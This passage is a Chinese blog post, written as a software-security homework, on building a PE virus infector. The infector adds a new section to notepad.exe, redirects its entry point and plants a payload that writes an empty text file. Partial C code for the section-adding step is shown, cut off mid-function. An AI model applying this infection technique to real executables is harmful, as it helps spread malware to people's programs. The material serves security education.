导语
这是我软件安全作业,希望对想要学习PE病毒编写的同学们有所帮助。
目标
编写一个PE文件传染程序infect.exe,功能要求如下:
- infect.exe运行后,向同目录下的notepad.exe程序植入“病毒载荷”代码.
- infect.exe不能重复传染notepad.exe.
- notepad.exe被植入“病毒载荷”后,具备如下行为:一旦执行,就会向其所在目录写入一个txt文件,文件名为:学号-姓名.txt,文件内容为空。注意:这里的姓名和学号要改为同学自己的名字和学号。
基本思路
infect.exe的目标是向notepad.exe插入一段病毒载荷,也就是说我们要向一个已知的PE文件插入一段代码,使他能做到我们想要它做到的,但是实际上它并不应该能做到的功能。
一般来说PE病毒的载荷插入方式有两种,其一是在节之间插入,其二是新建节插入。
在节之间插入的好处是不用改entrypoint,在shellcode里不需要jmp回原本的entrypoint,基本上顺着执行原本的PE文件的过程中就可以将你的shellcode执行了,而缺点也显而易见,节之间的空间可能不足,可能出现无法植入shellcode的情况,而如果要利用多个节之间的空间的话就意味着载荷得分段执行,寄存器堆栈的状态都很可能变化,因此编写shellcode非常困难。
而新建节和节之间插入的优缺点刚好相反。相较之下更改entrypoint是比足够简单的,因此我们选择新建节植入shellcode。
具体实现
借鉴了网上很多的代码,大部分是使用handle非常便捷的修改了PE头的各个字段,而我由于太菜了加上正好需要具体理解PE格式,所以采用了最简单的文件指针的操作。
新建节
由之前博客的内容可知,新建节要修改的内容有
- PE头中的fileheader字段(IMAGE_NT_HEADERS.FileHeader的内容)
- PE头中的optionalheader字段(IMAGE_NT_HEADERS.OptionalHeader的内容)
- 新节的节首部各个字段(IMAGE_SECTION_HEADER的各个内容)
需要注意的是,由于我们多加了一个节头,这个接头会覆盖掉原本应该放IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT的位置,不过一般情况下这个地方是被保留的,全为0,因此我们只需将ntheader中指向这里的指针清空即可(也不能叫它指针吧),也就是将OptionalHeader.DataDirectory[11]的virtualaddress和size全清0。如果不清零的话,在装载PE程序的时候会装载器会报错。
具体代码如下
IMAGE_SECTION_HEADER addsection(char *file)
{
IMAGE_DOS_HEADER image_dos_header;
IMAGE_NT_HEADERS image_nt_headers;
IMAGE_SECTION_HEADER image_section_header; // 用于存储新加的节表项
IMAGE_SECTION_HEADER old_section; // 存储旧的节表项
int num_section = 0;
// byte sec[8]=".txt";
FILE *h;
h = fopen(file, "rb+");
fseek(h, 0, SEEK_SET);
fread(&image_dos_header, sizeof(IMAGE_DOS_HEADER), 1, h);
fseek(h, image_dos_header.e_lfanew, SEEK_SET);
fread(&image_nt_headers, sizeof(IMAGE_NT_HEADERS), 1, h); //PE头
//printf("%d", sizeof(IMAGE_NT_HEADERS));
//for (int a = 0; a <= 15; a++)
// printf("%x,%x\n", image_nt_headers.OptionalHeader.DataDirectory[a].VirtualAddress, image_nt_headers.OptionalHeader.DataDirectory[a].Size);
num_section = image_nt_headers.FileHeader.NumberOfSections;
fseek(h, image_dos_header.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (num_section - 1) * sizeof(IMAGE_SECTION_HEADER), SEEK_SET);// 跳到最后一个节表项
fread(&old_section, sizeof(IMAGE_SECTION_HEA